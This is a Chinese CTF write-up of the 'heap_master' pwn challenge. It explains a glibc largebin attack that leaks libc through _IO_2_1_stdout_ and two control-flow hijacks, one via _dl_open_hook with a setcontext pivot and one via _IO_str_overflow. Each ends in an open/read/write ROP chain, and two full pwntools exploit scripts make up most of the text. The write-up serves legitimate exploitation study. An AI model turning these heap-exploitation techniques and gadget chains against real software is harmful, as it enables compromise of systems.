题目限制了必须使用ROP来获得flag,所以学到了两种控制程序流的新姿势。
一个是利用malloc、free报错时执行 __libc_dlopen_mode
函数,该函数会将 _dl_open_hook
指针中的值存储在rax,然后call [rax],那么修改 _dl_open_hook
指针中的值,就会控制程序流。
另一个是利用程序执行exit()时,会调用文件流虚表函数中的 _IO_str_overflow
函数,此时rbx、rdi均是指针 _IO_list_all
中的值,布置好数据,进而利用_IO_str_overflow
函数中的gadget控制程序流。
0x00 程序分析 1 2 3 4 5 Arch: amd64-64 -littleRELRO: Full RELROStack: Canary foundNX: NX enabledPIE: PIE enabled
题目进行了chroot chroot --userspec=pwn:pwn ./ ./heap_master
所以不能通过system(/bin/sh)获得shell,只能通过ROP,调用open->read->write获得flag1 2 3 4 5 === Heap Master === 1. Malloc 2. Edit 3. Free >>
程序初始化会通过mmap在heap_base分配到0x10000大小的内存,heap_base是由随机数生成的
1 2 3 4 fd = open("/dev/urandom" , 0 ); read(fd, &heap_base, 8u LL); heap_base = (void *)((unsigned int )heap_base & 0xFFFFF000 ); mmap(heap_base, 0x10000 uLL, 3 , 34 , -1 , 0L L) != heap_base
程序有三个功能
1 2 3 4 5 6 7 8 void *add () { __int64 size; printf ("size: " ); size = read_num(); return malloc (size); }
可以分配内存,但是程序没有保存分配堆后返回的指针
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 int edit () {... printf ("offset: " ); v2 = read_num(); printf ("size: " ); v3 = read_num(); if ( v2 > 0xFFFF || v3 > 0x10000 || v2 + v3 > 0x10000 ) return puts ("Invaild input" ); printf ("content: " ); for ( i = 0 ; ; i += result ) { result = i; if ( i >= v3 ) break ; result = read(0 , (char *)heap_base + v2, v3 - i); if ( result < 0 ) break ; } return result; }
edit功能也只能对mmap分配的地址写
1 2 3 4 5 6 7 8 void delete () {... printf ("offset: " ); v0 = read_num(); if ( v0 <= 0xFFFF ) free ((char *)heap_base + v0); }
delete功能只能free掉mmap分配内存中的内容
0x01 利用分析 通过以上的分析,我们可以在heap_base上布置堆结构,调用程序的delete功能进行攻击
首先是泄露地址,然而程序没有输出功能
在2018-hitcon-baby_tcache 题目中程序也没有输出功能,但是可以通过控制文件流结构体的数据,我们仍能泄露一部分地址,那题是利用tcache的弱检测,将chunk分配到 _IO_2_1_stdout_
,然后修改文件流的_flag、write_base等数据,程序调用puts等函数时,就会泄露地址。
这题没有tcache,所以不能通过分配chunk,达到修改文件流结构体数据的目的。
第一次largebin attack泄露libc 因为要修改 _IO_2_1_stdout_
两次数据,一开始想用两次unsortedbin attack修改,后来发现&main_arena+88的地址不满足堆_flags的要求,所以这个方法行不通。
我们知道在glibc在从unsortedbin分配内存中,会从链尾向链头循环检索,如果不能分配出去,就会将chunk按大小分配到smallbin和largebin中。在将chunk插入largebin中,会发生一些列的链表操作。这里我们只关注当待插入unsortedbin chunk大于largebin chunk时,unsortedbin chunk当做对应大小表头的链表操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 else { victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; } bck = fwd->bk; } } else victim->fd_nextsize = victim->bk_nextsize = victim; } mark_bin (av, victim_index); victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;
largebin attack就是利用这一部分代码
在largebin attack中,我们有两次任意地址写的机会,写的数据为待插入的unsortedbin chunk地址(0x56xxxx) 在2018-0CTF-heapstorm2 ,我们使用largebin attack通过错位写,在一个0x13370800-0x8的低8位写入了0x56(因为64系统下,glibc只会取低8位的数据作为chunk size,高8位不会管),然后unsortedbin chunk的bk修改为0x13370800,就会顺利将chunk分配到0x13370800
而这题我们通过两次地址任意写,利用partial overwrite修改 smallbin head
的值,因为 _IO_2_1_stdout_
的地址和 smallbin head
的地址只有低12位不同,partial overwrite16位,需要爆破4位。第一次修改 _IO_2_1_stdout_
的 _flags
,第二次错位写,将 _IO_write_base
的低8位覆盖为\x00,这样程序调用类似puts的输出函数时时,就会泄露libc的地址。
第二次largebin attack控制程序流 下一步就是1、修改rsp,将栈空间改为可控内存区域,2、控制程序流
1、利用_dl_open_hook控制程序流 malloc、free报错时执行 __libc_dlopen_mode
函数,该函数会将 _dl_open_hook
指针中的值存储在rax,然后call [rax],那么修改 _dl_open_hook
指针中的值,就会控制程序流。
利用largbin attack将 __libc_dlopen_mode
修改为可控内存heap_base,考虑到下面的gadgets
1 2 .text: 000000000006D98A mov rdi , rax .text: 000000000006D98D call qword ptr [rax +20h ]
我们可以控制rdi,还可以通过rax+0x20继续控制程序流,考虑下面的gadgets
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 0x7fae9ce44b75 <setcontext+53 >: mov rsp ,QWORD PTR [rdi +0xa0 ]0x7fae9ce44b7c <setcontext+60 >: mov rbx ,QWORD PTR [rdi +0x80 ]0x7fae9ce44b83 <setcontext+67 >: mov rbp ,QWORD PTR [rdi +0x78 ]0x7fae9ce44b87 <setcontext+71 >: mov r12 ,QWORD PTR [rdi +0x48 ]0x7fae9ce44b8b <setcontext+75 >: mov r13 ,QWORD PTR [rdi +0x50 ]0x7fae9ce44b8f <setcontext+79 >: mov r14 ,QWORD PTR [rdi +0x58 ]0x7fae9ce44b93 <setcontext+83 >: mov r15 ,QWORD PTR [rdi +0x60 ]0x7fae9ce44b97 <setcontext+87 >: mov rcx ,QWORD PTR [rdi +0xa8 ]0x7fae9ce44b9e <setcontext+94 >: push rcx 0x7fae9ce44b9f <setcontext+95 >: mov rsi ,QWORD PTR [rdi +0x70 ]0x7fae9ce44ba3 <setcontext+99 >: mov rdx ,QWORD PTR [rdi +0x88 ]0x7fae9ce44baa <setcontext+106 >: mov rcx ,QWORD PTR [rdi +0x98 ]0x7fae9ce44bb1 <setcontext+113 >: mov r8 ,QWORD PTR [rdi +0x28 ]0x7fae9ce44bb5 <setcontext+117 >: mov r9 ,QWORD PTR [rdi +0x30 ]0x7fae9ce44bb9 <setcontext+121 >: mov rdi ,QWORD PTR [rdi +0x68 ]0x7fae9ce44bbd <setcontext+125 >: xor eax ,eax 0x7fae9ce44bbf <setcontext+127 >: ret
通过rdi,进而控制rsp,其中有个push rcx,最后ret的是rcx中的值,因此还要通过mov rcx,QWORD PTR [rdi+0xa8]控制rcx来控制程序流 最后的ROP布局如下
1 2 3 4 5 6 7 8 9 rop = './flag' .ljust(8 ,'\x00' )+p64(0 )+p64(mmap_base)+p64(p_rsi_r)+p64(0 )+p64(open_addr) rop += p64(p_rdi_r)+p64(4 )+p64(p_rdx_rsi_r)+p64(0x100 )+p64(mmap_base+1337 )+p64(read_addr) rop += p64(p_rdi_r)+p64(1 )+p64(p_rdx_rsi_r)+p64(0x100 )+p64(mmap_base+1337 )+p64(write_addr) edit(0 ,rop) edit(offset+0x360 +0x540 , p64(key_rax_gad)) edit(offset+0x360 +0x540 +0xa0 , p64(mmap_base + 0x10 )) edit(offset+0x360 +0x540 +0xa8 , p64(p_rdi_r)) edit(offset+0x360 +0x540 +0x20 , p64(setcontext_53))
2、利用_IO_str_overflow控制程序流 程序执行exit()时,会调用文件流虚表函数中的 _IO_str_overflow
函数,此时rbx、rdi均是指针 _IO_list_all
中的值。
利用largebin attack修改 _IO_list_all
中的值,rbx、rdi均是指针 _IO_list_all
中的值
观察_IO_str_overflow的执行过程
1 2 3 0x7f8c852a9cb8 <_IO_str_overflow+56 > mov rdx , QWORD PTR [rdi +0x28 ]...... 0x7f590a689d01 <_IO_str_overflow+129 > call QWORD PTR [rbx +0xe0 ]
我们通过rdi修改rdx,使rdx = pop rsp ; pop r13 ; ret
通过修改rbx控制程序流,使rbx+0xe0 = pop rbx ; pop rbp ; jmp rdx
当执行pop rsp时,栈顶就是最初指针 _IO_list_all
的值,因此成功将栈劫持了。
0x03 EXP 1、利用_dl_open_hook控制程序流 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 from pwn import *p = process('./heap_master' ) libc = ELF('./libc.so.6' ) context.log_level = 'debug' def q (addr =0 ) : gdb.attach(p) log.info('addr: ' +hex(addr)) raw_input('test' ) def add (size) : p.sendlineafter('>> ' , '1' ) p.sendlineafter('size: ' , str(size)) def edit (off,cont) : p.sendlineafter('>> ' ,'2' ) p.sendlineafter('offset: ' ,str(off)) p.sendlineafter('size: ' ,str(len(cont))) p.sendafter('content: ' ,cont) def free (off) : p.sendlineafter('>> ' , '3' ) p.sendlineafter('offset: ' , str(off)) offset = 0x8800 -0x7A0 stdout = 0x2620 def pwn () : offset = 0x8800 -0x7A0 stdout = 0x2620 edit(offset+8 , p64(0x331 )) edit(offset+8 +0x330 , p64(0x31 )) edit(offset+8 +0x360 , p64(0x411 )) edit(offset+8 +0x360 +0x410 , p64(0x31 )) edit(offset+8 +0x360 +0x440 , p64(0x411 )) edit(offset+8 +0x360 +0x440 +0x410 , p64(0x31 )) edit(offset+8 +0x360 +0x440 +0x440 , p64(0x31 )) free(offset+0x10 ) free(offset+0x10 +0x360 ) add(0x90 ) edit(offset+8 +0x360 , p64(0x101 )+p64(0 )+p64(0x101 )) edit(offset+8 +0x460 , p64(0x101 )+p64(0 )+p64(0x101 )) edit(offset+8 +0x560 , p64(0x101 )+p64(0 )+p64(0x101 )) free(offset+0x10 +0x370 ) add(0x90 ) free(offset+0x10 +0x360 ) add(0x90 ) edit(offset+8 +0x360 , p64(0x401 ) + p64(0 ) + p16(stdout-0x10 )) edit(offset+8 +0x360 +0x18 , p64(0 ) + p16(stdout+0x19 -0x20 )) free(offset+0x10 +0x360 +0x440 ) add(0x90 ) p.recv(0x18 ) libc_base = u64(p.recv(8 ))-libc.symbols['_IO_file_jumps' ] log.info('libc_base:' +hex(libc_base)) system = libc_base + libc.symbols['system' ] _dl_open_hook = libc_base + libc.symbols['_dl_open_hook' ] heap_p3 = u64(p.recv(8 )) mmap_base = heap_p3 - 0x8800 log.info('mmap_base:' +hex(mmap_base)) offset = 0x1000 edit(offset+8 , p64(0x331 )) edit(offset+8 +0x330 , p64(0x31 )) edit(offset+8 +0x360 , p64(0x511 )) edit(offset+8 +0x360 +0x510 , p64(0x31 )) edit(offset+8 +0x360 +0x540 , p64(0x521 )) edit(offset+8 +0x360 +0x540 +0x520 , p64(0x31 )) edit(offset+8 +0x360 +0x540 +0x550 , p64(0x31 )) free(offset+0x10 ) free(offset+0x360 +0x10 ) add(0x90 ) edit(offset+8 +0x360 , p64(0x511 ) + p64(0 ) + p64(_dl_open_hook-0x10 ) + p64(0 ) + p64(_dl_open_hook-0x20 )) free(offset+0x360 +0x540 +0x10 ) add(0x90 ) q(libc_base) key_rbx_gad = libc_base + 0x8959E key_rax_gad = libc_base + 0x6D98A setcontext_53 = libc_base + 0x47b40 + 53 p_rbx_rbp_j = libc_base + 0x000000000012d751 p_rsp_r13_r = libc_base + 0x00000000000206c3 p_rsp_r = libc_base + 0x0000000000003838 p_rdi_r = libc_base + 0x0000000000021102 p_rdx_rsi_r = libc_base + 0x00000000001150c9 open_addr = libc_base + libc.symbols['open' ] read_addr = libc_base + libc.symbols['read' ] write_addr = libc_base + libc.symbols['write' ] p_rsi_r = libc_base + 0x00000000000202e8 rop = './flag' .ljust(8 ,'\x00' )+p64(0 )+p64(mmap_base)+p64(p_rsi_r)+p64(0 )+p64(open_addr) rop += p64(p_rdi_r)+p64(4 )+p64(p_rdx_rsi_r)+p64(0x100 )+p64(mmap_base+1337 )+p64(read_addr) rop += p64(p_rdi_r)+p64(1 )+p64(p_rdx_rsi_r)+p64(0x100 )+p64(mmap_base+1337 )+p64(write_addr) edit(0 ,rop) edit(offset+0x360 +0x540 , p64(key_rax_gad)) edit(offset+0x360 +0x540 +0xa0 , p64(mmap_base + 0x10 )) edit(offset+0x360 +0x540 +0xa8 , p64(p_rdi_r)) edit(offset+0x360 +0x540 +0x20 , p64(setcontext_53)) free(0x10 ) p.interactive() while True : try : pwn() break except : p.close() p = process('./heap_master' )
2、利用_IO_str_overflow控制程序流 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 from pwn import *p = process('./heap_master' ) libc = ELF('./libc.so.6' ) context.log_level = 'debug' def q (addr =0 ) : gdb.attach(p) log.info('addr: ' +hex(addr)) raw_input('test' ) def add (size) : p.sendlineafter('>> ' , '1' ) p.sendlineafter('size: ' , str(size)) def edit (off,cont) : p.sendlineafter('>> ' ,'2' ) p.sendlineafter('offset: ' ,str(off)) p.sendlineafter('size: ' ,str(len(cont))) p.sendafter('content: ' ,cont) def free (off) : p.sendlineafter('>> ' , '3' ) p.sendlineafter('offset: ' , str(off)) offset = 0x8800 -0x7A0 stdout = 0x2620 def pwn () : offset = 0x8800 -0x7A0 stdout = 0x2620 edit(offset+8 , p64(0x331 )) edit(offset+8 +0x330 , p64(0x31 )) edit(offset+8 +0x360 , p64(0x411 )) edit(offset+8 +0x360 +0x410 , p64(0x31 )) edit(offset+8 +0x360 +0x440 , p64(0x411 )) edit(offset+8 +0x360 +0x440 +0x410 , p64(0x31 )) edit(offset+8 +0x360 +0x440 +0x440 , p64(0x31 )) free(offset+0x10 ) free(offset+0x10 +0x360 ) add(0x90 ) edit(offset+8 +0x360 , p64(0x101 )+p64(0 )+p64(0x101 )) edit(offset+8 +0x460 , p64(0x101 )+p64(0 )+p64(0x101 )) edit(offset+8 +0x560 , p64(0x101 )+p64(0 )+p64(0x101 )) free(offset+0x10 +0x370 ) add(0x90 ) free(offset+0x10 +0x360 ) add(0x90 ) edit(offset+8 +0x360 , p64(0x401 ) + p64(0 ) + p16(stdout-0x10 )) edit(offset+8 +0x360 +0x18 , p64(0 ) + p16(stdout+0x19 -0x20 )) free(offset+0x10 +0x360 +0x440 ) add(0x90 ) p.recv(0x18 ) libc_base = u64(p.recv(8 ))-libc.symbols['_IO_file_jumps' ] log.info('libc_base:' +hex(libc_base)) system = libc_base + libc.symbols['system' ] _IO_list_all = libc_base + libc.symbols['_IO_list_all' ] heap_p3 = u64(p.recv(8 )) mmap_base = heap_p3 - 0x8800 log.info('mmap_base:' +hex(mmap_base)) offset = 0x1000 edit(offset+8 , p64(0x331 )) edit(offset+8 +0x330 , p64(0x31 )) edit(offset+8 +0x360 , p64(0x511 )) edit(offset+8 +0x360 +0x510 , p64(0x31 )) edit(offset+8 +0x360 +0x540 , p64(0x521 )) edit(offset+8 +0x360 +0x540 +0x520 , p64(0x31 )) edit(offset+8 +0x360 +0x540 +0x550 , p64(0x31 )) free(offset+0x10 ) free(offset+0x360 +0x10 ) add(0x90 ) edit(offset+8 +0x360 , p64(0x511 ) + p64(0 ) + p64(_IO_list_all-0x10 ) + p64(0 ) + p64(_IO_list_all-0x20 )) free(offset+0x360 +0x540 +0x10 ) add(0x90 ) _IO_str_jumps = libc_base + 0x00000000003c36e0 +0xc0 p_rbx_rbp_j = libc_base + 0x000000000012d751 p_rsp_r13_r = libc_base + 0x00000000000206c3 p_rsp_r = libc_base + 0x0000000000003838 p_rdi_r = libc_base + 0x0000000000021102 p_rdx_rsi_r = libc_base + 0x00000000001150c9 open_addr = libc_base + libc.symbols['open' ] read_addr = libc_base + libc.symbols['read' ] write_addr = libc_base + libc.symbols['write' ] p_rsi_r = libc_base + 0x00000000000202e8 fake_IO_strfile = p64(0 ) + p64(p_rsp_r) + p64(mmap_base+8 ) + p64(0 ) + p64(0 ) + p64(p_rsp_r13_r) rop = './flag' .ljust(8 ,'\x00' )+p64(p_rdi_r)+p64(mmap_base)+p64(p_rsi_r)+p64(0 )+p64(open_addr) rop += p64(p_rdi_r)+p64(3 )+p64(p_rdx_rsi_r)+p64(0x100 )+p64(mmap_base+1337 )+p64(read_addr) rop += p64(p_rdi_r)+p64(1 )+p64(p_rdx_rsi_r)+p64(0x100 )+p64(mmap_base+1337 )+p64(write_addr) edit(0 ,rop) edit(offset+0x360 +0x540 , fake_IO_strfile) edit(offset+0x360 +0x540 +0xD8 , p64(_IO_str_jumps)) edit(offset+0x360 +0x540 +0xE0 , p64(p_rbx_rbp_j)) p.sendlineafter('>> ' , '4' ) p.interactive() while True : try : pwn() break except : p.close() p = process('./heap_master' )
1 2 3 .text: 000000000007FD7D mov rdi , [rbx +48h ].text: 000000000007FD81 mov rsi , r13 .text: 000000000007FD84 call qword ptr [rbx +40h ]